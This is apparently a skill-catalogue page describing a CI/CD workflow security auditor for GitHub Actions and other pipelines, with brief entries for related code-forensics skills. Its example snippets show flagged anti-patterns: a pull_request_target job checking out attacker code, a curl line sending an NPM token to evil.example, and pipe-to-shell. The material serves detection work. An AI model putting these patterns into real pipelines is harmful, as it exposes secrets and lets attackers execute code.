菜单
Audit GitHub Actions / GitLab CI / CircleCI / Azure Pipelines workflows shipped in target/. Flags the high-risk patterns that have caused real-world supply-chain compromises (pwnrequest, pull_request_target, unpinned actions, secret exfiltration, script-injection via PR title/body).
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
| name | agentic-actions-auditor |
| description | Audit GitHub Actions / GitLab CI / CircleCI / Azure Pipelines workflows shipped in target/. Flags the high-risk patterns that have caused real-world supply-chain compromises (pwnrequest, pull_request_target, unpinned actions, secret exfiltration, script-injection via PR title/body). |
| license | MIT (ZONOVA RESEARCH — coldvault.dev) |
| source_inspiration | trailofbits/skills/agentic-actions-auditor |
target/.github/workflows/** (GitHub)target/.gitlab-ci.yml, target/.gitlab/**target/.circleci/config.ymltarget/azure-pipelines.yml, target/.azure/**target/Jenkinsfileaction.yml / action.yaml (reusable actions defined by the repo)pull_request_target with checkout of PR headClassic "pwnrequest". Triggered by attacker-controlled PR but runs with the base repo's secrets, and if it checks out the PR's head, it executes attacker code against those secrets.
on: pull_request_target # 🚩
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # 🚩🚩 attacker code
- run: npm ci && npm test # ← runs on attacker code with SECRETS
${{ github.event.issue.title }} / pull_request.title / comment.body /
head.ref interpolated into run: — attacker controls the title, gets shell
execution.
grep -rnE '\$\{\{\s*github\.event\.(issue|pull_request|comment)' target/.github/workflows
- uses: some-org/some-action@main # 🚩 mutable ref
- uses: some-org/some-action@v1 # 🚩 tag can be re-pointed
Require SHA pinning. Enforce with:
grep -rnE "uses: [^#@]+@[a-zA-Z0-9._/-]+" target/.github/workflows | grep -v "@[a-f0-9]\{40\}"
run: echo "::set-output name=token::${{ secrets.NPM_TOKEN }}" # deprecated + leaky
run: curl -X POST https://evil.example/?t=${{ secrets.NPM_TOKEN }} # 🚩🚩
GITHUB_TOKEN permissions too broadIf permissions: is absent AND repo-default is "read/write", the token can
push, open PRs, etc. Recommend permissions: contents: read + widen per-job.
run: curl … | sh — classic pipe-to-shellJobs tagged runs-on: self-hosted can reach the corp network. For a public
repo, this is extremely dangerous if PRs can trigger them.
# Semgrep has a curated GitHub Actions pack
semgrep --config p/github-actions --sarif \
--output reports/ci-semgrep.sarif target/.github/ || true
# actionlint — lint/security for GitHub workflows
actionlint -format '{{json .}}' target/.github/workflows/*.yml \
> reports/ci-actionlint.json 2>/dev/null || true
# zizmor (if installed) — dedicated GHA security linter
zizmor target/.github/workflows/ --format sarif \
> reports/ci-zizmor.sarif 2>/dev/null || true
| Pattern | Severity |
|---|---|
pull_request_target + checkout PR head + secret access | CRITICAL |
| Script injection via event field | HIGH |
| Unpinned action w/ secrets access | HIGH |
Secret echoed in run: or artifact | HIGH |
Broad permissions: write-all default | MEDIUM |
| Unpinned action, no secrets | LOW |
Conduct a passive, read-only forensic analysis of a potentially malicious source-code tree. Use this skill when the user suspects a repository, archive, or directory contains hidden payloads, C2 code, obfuscated droppers, or compromised build configs (e.g. injected `tailwind.config.js`, trojaned `package.json` postinstall, suspicious base64 blobs). Produces a full report: attacker signature, payload location, statically decrypted IoCs (C2 IPs, ports, paths, XOR keys, drop paths, exfil endpoints).
Render reports/findings.json + reports/SUMMARY.md into a single-file, self-contained reports/SUMMARY.html whose visual quality matches the /reports/example-summary page on coldvault.dev. No external fonts, no JS framework, no network fetches — the user can double-click the file, email it, or host it anywhere.
Inventory the suspect repository (languages, frameworks, package managers, entry points, build system, CI) before any scan. Always run this first — subsequent skills depend on its output.
Inspect cryptographic code for timing leaks. Flags variable-time comparisons on secrets, early-exit loops, and library calls known to be variable-time. Limited static scope — the definitive check is micro-benchmarks on compiled binaries, but ~70% of timing bugs show up in source review.
Map the attack surface of target/ — HTTP routes, CLI commands, exported library symbols, message-queue consumers, GitHub Actions triggers, IPC sockets. Produces reports/entry-points.md.
Find default/weak/insecure configurations — weak crypto, TLS disabled, permissive CORS, debug mode in prod paths, unsafe deserialization switches, open S3 buckets, etc. These are the low-hanging fruit most noisy scanners miss.